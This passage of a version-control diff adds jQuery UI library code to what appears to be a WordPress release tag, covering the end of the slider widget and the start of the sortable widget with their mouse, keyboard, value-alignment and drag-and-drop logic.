+					options.values = [ options.values[0], options.values[0] ];
+				} else if ( $.isArray( options.values ) ) {
+					options.values = options.values.slice(0);
+				}
+			}
+
+			if ( !this.range || !this.range.length ) {
+				this.range = $( "<div></div>" )
+					.appendTo( this.element );
+
+				classes = "ui-slider-range" +
+				// note: this isn't the most fittingly semantic framework class for this element,
+				// but worked best visually with a variety of themes
+				" ui-widget-header ui-corner-all";
+			} else {
+				this.range.removeClass( "ui-slider-range-min ui-slider-range-max" )
+					// Handle range switching from true to min/max
+					.css({
+						"left": "",
+						"bottom": ""
+					});
+			}
+
+			this.range.addClass( classes +
+				( ( options.range === "min" || options.range === "max" ) ? " ui-slider-range-" + options.range : "" ) );
+		} else {
+			if ( this.range ) {
+				this.range.remove();
+			}
+			this.range = null;
+		}
+	},
+
+	_setupEvents: function() {
+		this._off( this.handles );
+		this._on( this.handles, this._handleEvents );
+		this._hoverable( this.handles );
+		this._focusable( this.handles );
+	},
+
+	_destroy: function() {
+		this.handles.remove();
+		if ( this.range ) {
+			this.range.remove();
+		}
+
+		this.element
+			.removeClass( "ui-slider" +
+				" ui-slider-horizontal" +
+				" ui-slider-vertical" +
+				" ui-widget" +
+				" ui-widget-content" +
+				" ui-corner-all" );
+
+		this._mouseDestroy();
+	},
+
+	_mouseCapture: function( event ) {
+		var position, normValue, distance, closestHandle, index, allowed, offset, mouseOverHandle,
+			that = this,
+			o = this.options;
+
+		if ( o.disabled ) {
+			return false;
+		}
+
+		this.elementSize = {
+			width: this.element.outerWidth(),
+			height: this.element.outerHeight()
+		};
+		this.elementOffset = this.element.offset();
+
+		position = { x: event.pageX, y: event.pageY };
+		normValue = this._normValueFromMouse( position );
+		distance = this._valueMax() - this._valueMin() + 1;
+		this.handles.each(function( i ) {
+			var thisDistance = Math.abs( normValue - that.values(i) );
+			if (( distance > thisDistance ) ||
+				( distance === thisDistance &&
+					(i === that._lastChangedValue || that.values(i) === o.min ))) {
+				distance = thisDistance;
+				closestHandle = $( this );
+				index = i;
+			}
+		});
+
+		allowed = this._start( event, index );
+		if ( allowed === false ) {
+			return false;
+		}
+		this._mouseSliding = true;
+
+		this._handleIndex = index;
+
+		closestHandle
+			.addClass( "ui-state-active" )
+			.focus();
+
+		offset = closestHandle.offset();
+		mouseOverHandle = !$( event.target ).parents().addBack().is( ".ui-slider-handle" );
+		this._clickOffset = mouseOverHandle ? { left: 0, top: 0 } : {
+			left: event.pageX - offset.left - ( closestHandle.width() / 2 ),
+			top: event.pageY - offset.top -
+				( closestHandle.height() / 2 ) -
+				( parseInt( closestHandle.css("borderTopWidth"), 10 ) || 0 ) -
+				( parseInt( closestHandle.css("borderBottomWidth"), 10 ) || 0) +
+				( parseInt( closestHandle.css("marginTop"), 10 ) || 0)
+		};
+
+		if ( !this.handles.hasClass( "ui-state-hover" ) ) {
+			this._slide( event, index, normValue );
+		}
+		this._animateOff = true;
+		return true;
+	},
+
+	_mouseStart: function() {
+		return true;
+	},
+
+	_mouseDrag: function( event ) {
+		var position = { x: event.pageX, y: event.pageY },
+			normValue = this._normValueFromMouse( position );
+
+		this._slide( event, this._handleIndex, normValue );
+
+		return false;
+	},
+
+	_mouseStop: function( event ) {
+		this.handles.removeClass( "ui-state-active" );
+		this._mouseSliding = false;
+
+		this._stop( event, this._handleIndex );
+		this._change( event, this._handleIndex );
+
+		this._handleIndex = null;
+		this._clickOffset = null;
+		this._animateOff = false;
+
+		return false;
+	},
+
+	_detectOrientation: function() {
+		this.orientation = ( this.options.orientation === "vertical" ) ? "vertical" : "horizontal";
+	},
+
+	_normValueFromMouse: function( position ) {
+		var pixelTotal,
+			pixelMouse,
+			percentMouse,
+			valueTotal,
+			valueMouse;
+
+		if ( this.orientation === "horizontal" ) {
+			pixelTotal = this.elementSize.width;
+			pixelMouse = position.x - this.elementOffset.left - ( this._clickOffset ? this._clickOffset.left : 0 );
+		} else {
+			pixelTotal = this.elementSize.height;
+			pixelMouse = position.y - this.elementOffset.top - ( this._clickOffset ? this._clickOffset.top : 0 );
+		}
+
+		percentMouse = ( pixelMouse / pixelTotal );
+		if ( percentMouse > 1 ) {
+			percentMouse = 1;
+		}
+		if ( percentMouse < 0 ) {
+			percentMouse = 0;
+		}
+		if ( this.orientation === "vertical" ) {
+			percentMouse = 1 - percentMouse;
+		}
+
+		valueTotal = this._valueMax() - this._valueMin();
+		valueMouse = this._valueMin() + percentMouse * valueTotal;
+
+		return this._trimAlignValue( valueMouse );
+	},
+
+	_start: function( event, index ) {
+		var uiHash = {
+			handle: this.handles[ index ],
+			value: this.value()
+		};
+		if ( this.options.values && this.options.values.length ) {
+			uiHash.value = this.values( index );
+			uiHash.values = this.values();
+		}
+		return this._trigger( "start", event, uiHash );
+	},
+
+	_slide: function( event, index, newVal ) {
+		var otherVal,
+			newValues,
+			allowed;
+
+		if ( this.options.values && this.options.values.length ) {
+			otherVal = this.values( index ? 0 : 1 );
+
+			if ( ( this.options.values.length === 2 && this.options.range === true ) &&
+					( ( index === 0 && newVal > otherVal) || ( index === 1 && newVal < otherVal ) )
+				) {
+				newVal = otherVal;
+			}
+
+			if ( newVal !== this.values( index ) ) {
+				newValues = this.values();
+				newValues[ index ] = newVal;
+				// A slide can be canceled by returning false from the slide callback
+				allowed = this._trigger( "slide", event, {
+					handle: this.handles[ index ],
+					value: newVal,
+					values: newValues
+				} );
+				otherVal = this.values( index ? 0 : 1 );
+				if ( allowed !== false ) {
+					this.values( index, newVal );
+				}
+			}
+		} else {
+			if ( newVal !== this.value() ) {
+				// A slide can be canceled by returning false from the slide callback
+				allowed = this._trigger( "slide", event, {
+					handle: this.handles[ index ],
+					value: newVal
+				} );
+				if ( allowed !== false ) {
+					this.value( newVal );
+				}
+			}
+		}
+	},
+
+	_stop: function( event, index ) {
+		var uiHash = {
+			handle: this.handles[ index ],
+			value: this.value()
+		};
+		if ( this.options.values && this.options.values.length ) {
+			uiHash.value = this.values( index );
+			uiHash.values = this.values();
+		}
+
+		this._trigger( "stop", event, uiHash );
+	},
+
+	_change: function( event, index ) {
+		if ( !this._keySliding && !this._mouseSliding ) {
+			var uiHash = {
+				handle: this.handles[ index ],
+				value: this.value()
+			};
+			if ( this.options.values && this.options.values.length ) {
+				uiHash.value = this.values( index );
+				uiHash.values = this.values();
+			}
+
+			//store the last changed value index for reference when handles overlap
+			this._lastChangedValue = index;
+
+			this._trigger( "change", event, uiHash );
+		}
+	},
+
+	value: function( newValue ) {
+		if ( arguments.length ) {
+			this.options.value = this._trimAlignValue( newValue );
+			this._refreshValue();
+			this._change( null, 0 );
+			return;
+		}
+
+		return this._value();
+	},
+
+	values: function( index, newValue ) {
+		var vals,
+			newValues,
+			i;
+
+		if ( arguments.length > 1 ) {
+			this.options.values[ index ] = this._trimAlignValue( newValue );
+			this._refreshValue();
+			this._change( null, index );
+			return;
+		}
+
+		if ( arguments.length ) {
+			if ( $.isArray( arguments[ 0 ] ) ) {
+				vals = this.options.values;
+				newValues = arguments[ 0 ];
+				for ( i = 0; i < vals.length; i += 1 ) {
+					vals[ i ] = this._trimAlignValue( newValues[ i ] );
+					this._change( null, i );
+				}
+				this._refreshValue();
+			} else {
+				if ( this.options.values && this.options.values.length ) {
+					return this._values( index );
+				} else {
+					return this.value();
+				}
+			}
+		} else {
+			return this._values();
+		}
+	},
+
+	_setOption: function( key, value ) {
+		var i,
+			valsLength = 0;
+
+		if ( key === "range" && this.options.range === true ) {
+			if ( value === "min" ) {
+				this.options.value = this._values( 0 );
+				this.options.values = null;
+			} else if ( value === "max" ) {
+				this.options.value = this._values( this.options.values.length - 1 );
+				this.options.values = null;
+			}
+		}
+
+		if ( $.isArray( this.options.values ) ) {
+			valsLength = this.options.values.length;
+		}
+
+		if ( key === "disabled" ) {
+			this.element.toggleClass( "ui-state-disabled", !!value );
+		}
+
+		this._super( key, value );
+
+		switch ( key ) {
+			case "orientation":
+				this._detectOrientation();
+				this.element
+					.removeClass( "ui-slider-horizontal ui-slider-vertical" )
+					.addClass( "ui-slider-" + this.orientation );
+				this._refreshValue();
+
+				// Reset positioning from previous orientation
+				this.handles.css( value === "horizontal" ? "bottom" : "left", "" );
+				break;
+			case "value":
+				this._animateOff = true;
+				this._refreshValue();
+				this._change( null, 0 );
+				this._animateOff = false;
+				break;
+			case "values":
+				this._animateOff = true;
+				this._refreshValue();
+				for ( i = 0; i < valsLength; i += 1 ) {
+					this._change( null, i );
+				}
+				this._animateOff = false;
+				break;
+			case "step":
+			case "min":
+			case "max":
+				this._animateOff = true;
+				this._calculateNewMax();
+				this._refreshValue();
+				this._animateOff = false;
+				break;
+			case "range":
+				this._animateOff = true;
+				this._refresh();
+				this._animateOff = false;
+				break;
+		}
+	},
+
+	//internal value getter
+	// _value() returns value trimmed by min and max, aligned by step
+	_value: function() {
+		var val = this.options.value;
+		val = this._trimAlignValue( val );
+
+		return val;
+	},
+
+	//internal values getter
+	// _values() returns array of values trimmed by min and max, aligned by step
+	// _values( index ) returns single value trimmed by min and max, aligned by step
+	_values: function( index ) {
+		var val,
+			vals,
+			i;
+
+		if ( arguments.length ) {
+			val = this.options.values[ index ];
+			val = this._trimAlignValue( val );
+
+			return val;
+		} else if ( this.options.values && this.options.values.length ) {
+			// .slice() creates a copy of the array
+			// this copy gets trimmed by min and max and then returned
+			vals = this.options.values.slice();
+			for ( i = 0; i < vals.length; i += 1) {
+				vals[ i ] = this._trimAlignValue( vals[ i ] );
+			}
+
+			return vals;
+		} else {
+			return [];
+		}
+	},
+
+	// returns the step-aligned value that val is closest to, between (inclusive) min and max
+	_trimAlignValue: function( val ) {
+		if ( val <= this._valueMin() ) {
+			return this._valueMin();
+		}
+		if ( val >= this._valueMax() ) {
+			return this._valueMax();
+		}
+		var step = ( this.options.step > 0 ) ? this.options.step : 1,
+			valModStep = (val - this._valueMin()) % step,
+			alignValue = val - valModStep;
+
+		if ( Math.abs(valModStep) * 2 >= step ) {
+			alignValue += ( valModStep > 0 ) ? step : ( -step );
+		}
+
+		// Since JavaScript has problems with large floats, round
+		// the final value to 5 digits after the decimal point (see #4124)
+		return parseFloat( alignValue.toFixed(5) );
+	},
+
+	_calculateNewMax: function() {
+		var max = this.options.max,
+			min = this._valueMin(),
+			step = this.options.step,
+			aboveMin = Math.floor( ( +( max - min ).toFixed( this._precision() ) ) / step ) * step;
+		max = aboveMin + min;
+		this.max = parseFloat( max.toFixed( this._precision() ) );
+	},
+
+	_precision: function() {
+		var precision = this._precisionOf( this.options.step );
+		if ( this.options.min !== null ) {
+			precision = Math.max( precision, this._precisionOf( this.options.min ) );
+		}
+		return precision;
+	},
+
+	_precisionOf: function( num ) {
+		var str = num.toString(),
+			decimal = str.indexOf( "." );
+		return decimal === -1 ? 0 : str.length - decimal - 1;
+	},
+
+	_valueMin: function() {
+		return this.options.min;
+	},
+
+	_valueMax: function() {
+		return this.max;
+	},
+
+	_refreshValue: function() {
+		var lastValPercent, valPercent, value, valueMin, valueMax,
+			oRange = this.options.range,
+			o = this.options,
+			that = this,
+			animate = ( !this._animateOff ) ? o.animate : false,
+			_set = {};
+
+		if ( this.options.values && this.options.values.length ) {
+			this.handles.each(function( i ) {
+				valPercent = ( that.values(i) - that._valueMin() ) / ( that._valueMax() - that._valueMin() ) * 100;
+				_set[ that.orientation === "horizontal" ? "left" : "bottom" ] = valPercent + "%";
+				$( this ).stop( 1, 1 )[ animate ? "animate" : "css" ]( _set, o.animate );
+				if ( that.options.range === true ) {
+					if ( that.orientation === "horizontal" ) {
+						if ( i === 0 ) {
+							that.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( { left: valPercent + "%" }, o.animate );
+						}
+						if ( i === 1 ) {
+							that.range[ animate ? "animate" : "css" ]( { width: ( valPercent - lastValPercent ) + "%" }, { queue: false, duration: o.animate } );
+						}
+					} else {
+						if ( i === 0 ) {
+							that.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( { bottom: ( valPercent ) + "%" }, o.animate );
+						}
+						if ( i === 1 ) {
+							that.range[ animate ? "animate" : "css" ]( { height: ( valPercent - lastValPercent ) + "%" }, { queue: false, duration: o.animate } );
+						}
+					}
+				}
+				lastValPercent = valPercent;
+			});
+		} else {
+			value = this.value();
+			valueMin = this._valueMin();
+			valueMax = this._valueMax();
+			valPercent = ( valueMax !== valueMin ) ?
+					( value - valueMin ) / ( valueMax - valueMin ) * 100 :
+					0;
+			_set[ this.orientation === "horizontal" ? "left" : "bottom" ] = valPercent + "%";
+			this.handle.stop( 1, 1 )[ animate ? "animate" : "css" ]( _set, o.animate );
+
+			if ( oRange === "min" && this.orientation === "horizontal" ) {
+				this.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( { width: valPercent + "%" }, o.animate );
+			}
+			if ( oRange === "max" && this.orientation === "horizontal" ) {
+				this.range[ animate ? "animate" : "css" ]( { width: ( 100 - valPercent ) + "%" }, { queue: false, duration: o.animate } );
+			}
+			if ( oRange === "min" && this.orientation === "vertical" ) {
+				this.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( { height: valPercent + "%" }, o.animate );
+			}
+			if ( oRange === "max" && this.orientation === "vertical" ) {
+				this.range[ animate ? "animate" : "css" ]( { height: ( 100 - valPercent ) + "%" }, { queue: false, duration: o.animate } );
+			}
+		}
+	},
+
+	_handleEvents: {
+		keydown: function( event ) {
+			var allowed, curVal, newVal, step,
+				index = $( event.target ).data( "ui-slider-handle-index" );
+
+			switch ( event.keyCode ) {
+				case $.ui.keyCode.HOME:
+				case $.ui.keyCode.END:
+				case $.ui.keyCode.PAGE_UP:
+				case $.ui.keyCode.PAGE_DOWN:
+				case $.ui.keyCode.UP:
+				case $.ui.keyCode.RIGHT:
+				case $.ui.keyCode.DOWN:
+				case $.ui.keyCode.LEFT:
+					event.preventDefault();
+					if ( !this._keySliding ) {
+						this._keySliding = true;
+						$( event.target ).addClass( "ui-state-active" );
+						allowed = this._start( event, index );
+						if ( allowed === false ) {
+							return;
+						}
+					}
+					break;
+			}
+
+			step = this.options.step;
+			if ( this.options.values && this.options.values.length ) {
+				curVal = newVal = this.values( index );
+			} else {
+				curVal = newVal = this.value();
+			}
+
+			switch ( event.keyCode ) {
+				case $.ui.keyCode.HOME:
+					newVal = this._valueMin();
+					break;
+				case $.ui.keyCode.END:
+					newVal = this._valueMax();
+					break;
+				case $.ui.keyCode.PAGE_UP:
+					newVal = this._trimAlignValue(
+						curVal + ( ( this._valueMax() - this._valueMin() ) / this.numPages )
+					);
+					break;
+				case $.ui.keyCode.PAGE_DOWN:
+					newVal = this._trimAlignValue(
+						curVal - ( (this._valueMax() - this._valueMin()) / this.numPages ) );
+					break;
+				case $.ui.keyCode.UP:
+				case $.ui.keyCode.RIGHT:
+					if ( curVal === this._valueMax() ) {
+						return;
+					}
+					newVal = this._trimAlignValue( curVal + step );
+					break;
+				case $.ui.keyCode.DOWN:
+				case $.ui.keyCode.LEFT:
+					if ( curVal === this._valueMin() ) {
+						return;
+					}
+					newVal = this._trimAlignValue( curVal - step );
+					break;
+			}
+
+			this._slide( event, index, newVal );
+		},
+		keyup: function( event ) {
+			var index = $( event.target ).data( "ui-slider-handle-index" );
+
+			if ( this._keySliding ) {
+				this._keySliding = false;
+				this._stop( event, index );
+				this._change( event, index );
+				$( event.target ).removeClass( "ui-state-active" );
+			}
+		}
+	}
+});
+
+}));
Index: /tags/5.0.20/src/wp-includes/js/jquery/ui/sortable.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/ui/sortable.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/ui/sortable.js	(revision 56912)
@@ -0,0 +1,1315 @@
+/*!
+ * jQuery UI Sortable 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/sortable/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./core",
+			"./mouse",
+			"./widget"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.widget("ui.sortable", $.ui.mouse, {
+	version: "1.11.4",
+	widgetEventPrefix: "sort",
+	ready: false,
+	options: {
+		appendTo: "parent",
+		axis: false,
+		connectWith: false,
+		containment: false,
+		cursor: "auto",
+		cursorAt: false,
+		dropOnEmpty: true,
+		forcePlaceholderSize: false,
+		forceHelperSize: false,
+		grid: false,
+		handle: false,
+		helper: "original",
+		items: "> *",
+		opacity: false,
+		placeholder: false,
+		revert: false,
+		scroll: true,
+		scrollSensitivity: 20,
+		scrollSpeed: 20,
+		scope: "default",
+		tolerance: "intersect",
+		zIndex: 1000,
+
+		// callbacks
+		activate: null,
+		beforeStop: null,
+		change: null,
+		deactivate: null,
+		out: null,
+		over: null,
+		receive: null,
+		remove: null,
+		sort: null,
+		start: null,
+		stop: null,
+		update: null
+	},
+
+	_isOverAxis: function( x, reference, size ) {
+		return ( x >= reference ) && ( x < ( reference + size ) );
+	},
+
+	_isFloating: function( item ) {
+		return (/left|right/).test(item.css("float")) || (/inline|table-cell/).test(item.css("display"));
+	},
+
+	_create: function() {
+		this.containerCache = {};
+		this.element.addClass("ui-sortable");
+
+		//Get the items
+		this.refresh();
+
+		//Let's determine the parent's offset
+		this.offset = this.element.offset();
+
+		//Initialize mouse events for interaction
+		this._mouseInit();
+
+		this._setHandleClassName();
+
+		//We're ready to go
+		this.ready = true;
+
+	},
+
+	_setOption: function( key, value ) {
+		this._super( key, value );
+
+		if ( key === "handle" ) {
+			this._setHandleClassName();
+		}
+	},
+
+	_setHandleClassName: function() {
+		this.element.find( ".ui-sortable-handle" ).removeClass( "ui-sortable-handle" );
+		$.each( this.items, function() {
+			( this.instance.options.handle ?
+				this.item.find( this.instance.options.handle ) : this.item )
+				.addClass( "ui-sortable-handle" );
+		});
+	},
+
+	_destroy: function() {
+		this.element
+			.removeClass( "ui-sortable ui-sortable-disabled" )
+			.find( ".ui-sortable-handle" )
+				.removeClass( "ui-sortable-handle" );
+		this._mouseDestroy();
+
+		for ( var i = this.items.length - 1; i >= 0; i-- ) {
+			this.items[i].item.removeData(this.widgetName + "-item");
+		}
+
+		return this;
+	},
+
+	_mouseCapture: function(event, overrideHandle) {
+		var currentItem = null,
+			validHandle = false,
+			that = this;
+
+		if (this.reverting) {
+			return false;
+		}
+
+		if(this.options.disabled || this.options.type === "static") {
+			return false;
+		}
+
+		//We have to refresh the items data once first
+		this._refreshItems(event);
+
+		//Find out if the clicked node (or one of its parents) is a actual item in this.items
+		$(event.target).parents().each(function() {
+			if($.data(this, that.widgetName + "-item") === that) {
+				currentItem = $(this);
+				return false;
+			}
+		});
+		if($.data(event.target, that.widgetName + "-item") === that) {
+			currentItem = $(event.target);
+		}
+
+		if(!currentItem) {
+			return false;
+		}
+		if(this.options.handle && !overrideHandle) {
+			$(this.options.handle, currentItem).find("*").addBack().each(function() {
+				if(this === event.target) {
+					validHandle = true;
+				}
+			});
+			if(!validHandle) {
+				return false;
+			}
+		}
+
+		this.currentItem = currentItem;
+		this._removeCurrentsFromItems();
+		return true;
+
+	},
+
+	_mouseStart: function(event, overrideHandle, noActivation) {
+
+		var i, body,
+			o = this.options;
+
+		this.currentContainer = this;
+
+		//We only need to call refreshPositions, because the refreshItems call has been moved to mouseCapture
+		this.refreshPositions();
+
+		//Create and append the visible helper
+		this.helper = this._createHelper(event);
+
+		//Cache the helper size
+		this._cacheHelperProportions();
+
+		/*
+		 * - Position generation -
+		 * This block generates everything position related - it's the core of draggables.
+		 */
+
+		//Cache the margins of the original element
+		this._cacheMargins();
+
+		//Get the next scrolling parent
+		this.scrollParent = this.helper.scrollParent();
+
+		//The element's absolute position on the page minus margins
+		this.offset = this.currentItem.offset();
+		this.offset = {
+			top: this.offset.top - this.margins.top,
+			left: this.offset.left - this.margins.left
+		};
+
+		$.extend(this.offset, {
+			click: { //Where the click happened, relative to the element
+				left: event.pageX - this.offset.left,
+				top: event.pageY - this.offset.top
+			},
+			parent: this._getParentOffset(),
+			relative: this._getRelativeOffset() //This is a relative to absolute position minus the actual position calculation - only used for relative positioned helper
+		});
+
+		// Only after we got the offset, we can change the helper's position to absolute
+		// TODO: Still need to figure out a way to make relative sorting possible
+		this.helper.css("position", "absolute");
+		this.cssPosition = this.helper.css("position");
+
+		//Generate the original position
+		this.originalPosition = this._generatePosition(event);
+		this.originalPageX = event.pageX;
+		this.originalPageY = event.pageY;
+
+		//Adjust the mouse offset relative to the helper if "cursorAt" is supplied
+		(o.cursorAt && this._adjustOffsetFromHelper(o.cursorAt));
+
+		//Cache the former DOM position
+		this.domPosition = { prev: this.currentItem.prev()[0], parent: this.currentItem.parent()[0] };
+
+		//If the helper is not the original, hide the original so it's not playing any role during the drag, won't cause anything bad this way
+		if(this.helper[0] !== this.currentItem[0]) {
+			this.currentItem.hide();
+		}
+
+		//Create the placeholder
+		this._createPlaceholder();
+
+		//Set a containment if given in the options
+		if(o.containment) {
+			this._setContainment();
+		}
+
+		if( o.cursor && o.cursor !== "auto" ) { // cursor option
+			body = this.document.find( "body" );
+
+			// support: IE
+			this.storedCursor = body.css( "cursor" );
+			body.css( "cursor", o.cursor );
+
+			this.storedStylesheet = $( "<style>*{ cursor: "+o.cursor+" !important; }</style>" ).appendTo( body );
+		}
+
+		if(o.opacity) { // opacity option
+			if (this.helper.css("opacity")) {
+				this._storedOpacity = this.helper.css("opacity");
+			}
+			this.helper.css("opacity", o.opacity);
+		}
+
+		if(o.zIndex) { // zIndex option
+			if (this.helper.css("zIndex")) {
+				this._storedZIndex = this.helper.css("zIndex");
+			}
+			this.helper.css("zIndex", o.zIndex);
+		}
+
+		//Prepare scrolling
+		if(this.scrollParent[0] !== this.document[0] && this.scrollParent[0].tagName !== "HTML") {
+			this.overflowOffset = this.scrollParent.offset();
+		}
+
+		//Call callbacks
+		this._trigger("start", event, this._uiHash());
+
+		//Recache the helper size
+		if(!this._preserveHelperProportions) {
+			this._cacheHelperProportions();
+		}
+
+
+		//Post "activate" events to possible containers
+		if( !noActivation ) {
+			for ( i = this.containers.length - 1; i >= 0; i-- ) {
+				this.containers[ i ]._trigger( "activate", event, this._uiHash( this ) );
+			}
+		}
+
+		//Prepare possible droppables
+		if($.ui.ddmanager) {
+			$.ui.ddmanager.current = this;
+		}
+
+		if ($.ui.ddmanager && !o.dropBehaviour) {
+			$.ui.ddmanager.prepareOffsets(this, event);
+		}
+
+		this.dragging = true;
+
+		this.helper.addClass("ui-sortable-helper");
+		this._mouseDrag(event); //Execute the drag once - this causes the helper not to be visible before getting its correct position
+		return true;
+
+	},
+
+	_mouseDrag: function(event) {
+		var i, item, itemElement, intersection,
+			o = this.options,
+			scrolled = false;
+
+		//Compute the helpers position
+		this.position = this._generatePosition(event);
+		this.positionAbs = this._convertPositionTo("absolute");
+
+		if (!this.lastPositionAbs) {
+			this.lastPositionAbs = this.positionAbs;
+		}
+
+		//Do scrolling
+		if(this.options.scroll) {
+			if(this.scrollParent[0] !== this.document[0] && this.scrollParent[0].tagName !== "HTML") {
+
+				if((this.overflowOffset.top + this.scrollParent[0].offsetHeight) - event.pageY < o.scrollSensitivity) {
+					this.scrollParent[0].scrollTop = scrolled = this.scrollParent[0].scrollTop + o.scrollSpeed;
+				} else if(event.pageY - this.overflowOffset.top < o.scrollSensitivity) {
+					this.scrollParent[0].scrollTop = scrolled = this.scrollParent[0].scrollTop - o.scrollSpeed;
+				}
+
+				if((this.overflowOffset.left + this.scrollParent[0].offsetWidth) - event.pageX < o.scrollSensitivity) {
+					this.scrollParent[0].scrollLeft = scrolled = this.scrollParent[0].scrollLeft + o.scrollSpeed;
+				} else if(event.pageX - this.overflowOffset.left < o.scrollSensitivity) {
+					this.scrollParent[0].scrollLeft = scrolled = this.scrollParent[0].scrollLeft - o.scrollSpeed;
+				}
+
+			} else {
+
+				if(event.pageY - this.document.scrollTop() < o.scrollSensitivity) {
+					scrolled = this.document.scrollTop(this.document.scrollTop() - o.scrollSpeed);
+				} else if(this.window.height() - (event.pageY - this.document.scrollTop()) < o.scrollSensitivity) {
+					scrolled = this.document.scrollTop(this.document.scrollTop() + o.scrollSpeed);
+				}
+
+				if(event.pageX - this.document.scrollLeft() < o.scrollSensitivity) {
+					scrolled = this.document.scrollLeft(this.document.scrollLeft() - o.scrollSpeed);
+				} else if(this.window.width() - (event.pageX - this.document.scrollLeft()) < o.scrollSensitivity) {
+					scrolled = this.document.scrollLeft(this.document.scrollLeft() + o.scrollSpeed);
+				}
+
+			}
+
+			if(scrolled !== false && $.ui.ddmanager && !o.dropBehaviour) {
+				$.ui.ddmanager.prepareOffsets(this, event);
+			}
+		}
+
+		//Regenerate the absolute position used for position checks
+		this.positionAbs = this._convertPositionTo("absolute");
+
+		//Set the helper position
+		if(!this.options.axis || this.options.axis !== "y") {
+			this.helper[0].style.left = this.position.left+"px";
+		}
+		if(!this.options.axis || this.options.axis !== "x") {
+			this.helper[0].style.top = this.position.top+"px";
+		}
+
+		//Rearrange
+		for (i = this.items.length - 1; i >= 0; i--) {
+
+			//Cache variables and intersection, continue if no intersection
+			item = this.items[i];
+			itemElement = item.item[0];
+			intersection = this._intersectsWithPointer(item);
+			if (!intersection) {
+				continue;
+			}
+
+			// Only put the placeholder inside the current Container, skip all
+			// items from other containers. This works because when moving
+			// an item from one container to another the
+			// currentContainer is switched before the placeholder is moved.
+			//
+			// Without this, moving items in "sub-sortables" can cause
+			// the placeholder to jitter between the outer and inner container.
+			if (item.instance !== this.currentContainer) {
+				continue;
+			}
+
+			// cannot intersect with itself
+			// no useless actions that have been done before
+			// no action if the item moved is the parent of the item checked
+			if (itemElement !== this.currentItem[0] &&
+				this.placeholder[intersection === 1 ? "next" : "prev"]()[0] !== itemElement &&
+				!$.contains(this.placeholder[0], itemElement) &&
+				(this.options.type === "semi-dynamic" ? !$.contains(this.element[0], itemElement) : true)
+			) {
+
+				this.direction = intersection === 1 ? "down" : "up";
+
+				if (this.options.tolerance === "pointer" || this._intersectsWithSides(item)) {
+					this._rearrange(event, item);
+				} else {
+					break;
+				}
+
+				this._trigger("change", event, this._uiHash());
+				break;
+			}
+		}
+
+		//Post events to containers
+		this._contactContainers(event);
+
+		//Interconnect with droppables
+		if($.ui.ddmanager) {
+			$.ui.ddmanager.drag(this, event);
+		}
+
+		//Call callbacks
+		this._trigger("sort", event, this._uiHash());
+
+		this.lastPositionAbs = this.positionAbs;
+		return false;
+
+	},
+
+	_mouseStop: function(event, noPropagation) {
+
+		if(!event) {
+			return;
+		}
+
+		//If we are using droppables, inform the manager about the drop
+		if ($.ui.ddmanager && !this.options.dropBehaviour) {
+			$.ui.ddmanager.drop(this, event);
+		}
+
+		if(this.options.revert) {
+			var that = this,
+				cur = this.placeholder.offset(),
+				axis = this.options.axis,
+				animation = {};
+
+			if ( !axis || axis === "x" ) {
+				animation.left = cur.left - this.offset.parent.left - this.margins.left + (this.offsetParent[0] === this.document[0].body ? 0 : this.offsetParent[0].scrollLeft);
+			}
+			if ( !axis || axis === "y" ) {
+				animation.top = cur.top - this.offset.parent.top - this.margins.top + (this.offsetParent[0] === this.document[0].body ? 0 : this.offsetParent[0].scrollTop);
+			}
+			this.reverting = true;
+			$(this.helper).animate( animation, parseInt(this.options.revert, 10) || 500, function() {
+				that._clear(event);
+			});
+		} else {
+			this._clear(event, noPropagation);
+		}
+
+		return false;
+
+	},
+
+	cancel: function() {
+
+		if(this.dragging) {
+
+			this._mouseUp({ target: null });
+
+			if(this.options.helper === "original") {
+				this.currentItem.css(this._storedCSS).removeClass("ui-sortable-helper");
+			} else {
+				this.currentItem.show();
+			}
+
+			//Post deactivating events to containers
+			for (var i = this.containers.length - 1; i >= 0; i--){
+				this.containers[i]._trigger("deactivate", null, this._uiHash(this));
+				if(this.containers[i].containerCache.over) {
+					this.containers[i]._trigger("out", null, this._uiHash(this));
+					this.containers[i].containerCache.over = 0;
+				}
+			}
+
+		}
+
+		if (this.placeholder) {
+			//$(this.placeholder[0]).remove(); would have been the jQuery way - unfortunately, it unbinds ALL events from the original node!
+			if(this.placeholder[0].parentNode) {
+				this.placeholder[0].parentNode.removeChild(this.placeholder[0]);
+			}
+			if(this.options.helper !== "original" && this.helper && this.helper[0].parentNode) {
+				this.helper.remove();
+			}
+
+			$.extend(this, {
+				helper: null,
+				dragging: false,
+				reverting: false,
+				_noFinalSort: null
+			});
+
+			if(this.domPosition.prev) {
+				$(this.domPosition.prev).after(this.currentItem);
+			} else {
+				$(this.domPosition.parent).prepend(this.currentItem);
+			}
+		}
+
+		return this;
+
+	},
+
+	serialize: function(o) {
+
+		var items = this._getItemsAsjQuery(o && o.connected),
+			str = [];
+		o = o || {};
+
+		$(items).each(function() {
+			var res = ($(o.item || this).attr(o.attribute || "id") || "").match(o.expression || (/(.+)[\-=_](.+)/));
+			if (res) {
+				str.push((o.key || res[1]+"[]")+"="+(o.key && o.expression ? res[1] : res[2]));
+			}
+		});
+
+		if(!str.length && o.key) {
+			str.push(o.key + "=");
+		}
+
+		return str.join("&");
+
+	},
+
+	toArray: function(o) {
+
+		var items = this._getItemsAsjQuery(o && o.connected),
+			ret = [];
+
+		o = o || {};
+
+		items.each(function() { ret.push($(o.item || this).attr(o.attribute || "id") || ""); });
+		return ret;
+
+	},
+
+	/* Be careful with the following core functions */
+	_intersectsWith: function(item) {
+
+		var x1 = this.positionAbs.left,
+			x2 = x1 + this.helperProportions.width,
+			y1 = this.positionAbs.top,
+			y2 = y1 + this.helperProportions.height,
+			l = item.left,
+			r = l + item.width,
+			t = item.top,
+			b = t + item.height,
+			dyClick = this.offset.click.top,
+			dxClick = this.offset.click.left,
